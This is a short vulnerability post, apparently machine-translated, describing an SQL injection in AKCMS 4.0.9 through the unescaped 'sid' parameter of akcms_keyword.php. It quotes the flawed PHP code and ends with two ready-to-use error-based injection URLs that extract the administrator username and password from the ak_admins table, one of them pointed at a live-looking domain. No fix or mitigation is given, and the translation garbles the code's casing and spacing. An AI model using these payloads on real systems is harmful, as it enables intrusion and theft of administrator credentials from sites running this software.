I also accidentally discovered it. I don't know if anyone has ever posted it.
The vulnerability occurs in akcms_keyword.php.
<? Php
$ I = strpos (_ FILE __, 'akcms _ keyword. php ');
$ Mypath = substr (_ FILE __, 0, $ I );
Include $ mypath. 'akcms _ config. php ';
Include $ mypath. $ system_root. '/fore/keyword. php ';
?>
System_root corresponds to the background directory.
<? Php
$ System_root = 'admin ';
$ Foreload = 1;
?>
Look at admin/fore/keyword. php
<? Php
If (! Isset ($ _ GET ['sid ']) |! Isset ($ _ GET ['keyword']) exit ();
Require_once $ mypath. $ system_root. '/include/common. inc. php ';
Require_once AK_ROOT. 'include/forecache. func. php ';
$ Forecache = getforecache ($ currenturl );
Require_once (AK_ROOT. 'include/global. func. php ');
Require_once (AK_ROOT. 'include/fore. inc. php ');
$ Sid = $ _ GET ['sid '];
$ Keyword = $ _ GET ['keyword'];
$ Se = getsedata ($ sid );
$ K = $ db-> get_by ('*', 'keyword', "sid = '$ sid' AND keyword = '". addslashes ($ keyword ). "'");
If (! Isset ($ template) $ template = $ se ['template'];
$ Variables = array ();
$ Variables ['template'] = $ template;
$ Variables ['html'] = 0;
$ Variables ['sid '] = $ sid;
$ Variables ['num'] = $ k ['num'];
$ Variables ['keyword'] = $ keyword;
$ Variables ['keyword _ url'] = urlencode ($ keyword );
$ Variables ['keyword _ html'] = htmlspecialchars ($ keyword );
$ Html = render_template ($ variables );
If ($ forecache = false) setforecache ($ currenturl, $ html );
If (substr ($ html, 0, 5) = '<? Xml ') header ('content-Type: text/xml; charset ='. $ header_charset );
Echo $ html;
Require_once (AK_ROOT. 'include/exit. php ');
?>
The Administrator is really familiar with the magic escape of $ keyword, but not the escape of sid = $ sid.
Okay. Check it out.
$ Db-> get_by function (in fact, it is a select function)
Function get_by ($ what, $ from, $ where = ''){
$ Table = $ this-> fulltablename ($ from );
$ SQL = "SELECT {$ what} FROM {$ table }";
If ($ where! = '') $ SQL. =" WHERE {$ where }";
If (strpos ($ what, '(') = false) $ SQL. = "LIMIT 1 ";
$ Row = $ this-> get_one ($ SQL );
If ($ row = false ){
Return false;
} Elseif (count ($ row) = 1 ){
Return current ($ row );
} Else {
Return $ row;
}
}
No filtering is performed in get_by.
This causes the SQL injection vulnerability.
Test method:
Administrator Account
Http://www.bkjia.com/akcms4.0.9/akcms_keyword.php? Sid = 11111 'and (select 1 from (select count (*), concat (select concat (0x7e, 0x27, editor, 0x27, 0x7e) from ak_admins limit 0, 1) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x))
And '1' = '1 & keyword = 11
Administrator Password
Http: // localhost/akcms4.0.9/akcms_keyword.php? Sid = 11111 'and (select 1 from (select count (*), concat (select concat (0x7e, 0x27, password, 0x27, 0x7e) from ak_admins limit 0, 1) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x))
And '1' = '1 & keyword = 11
By walking with a sword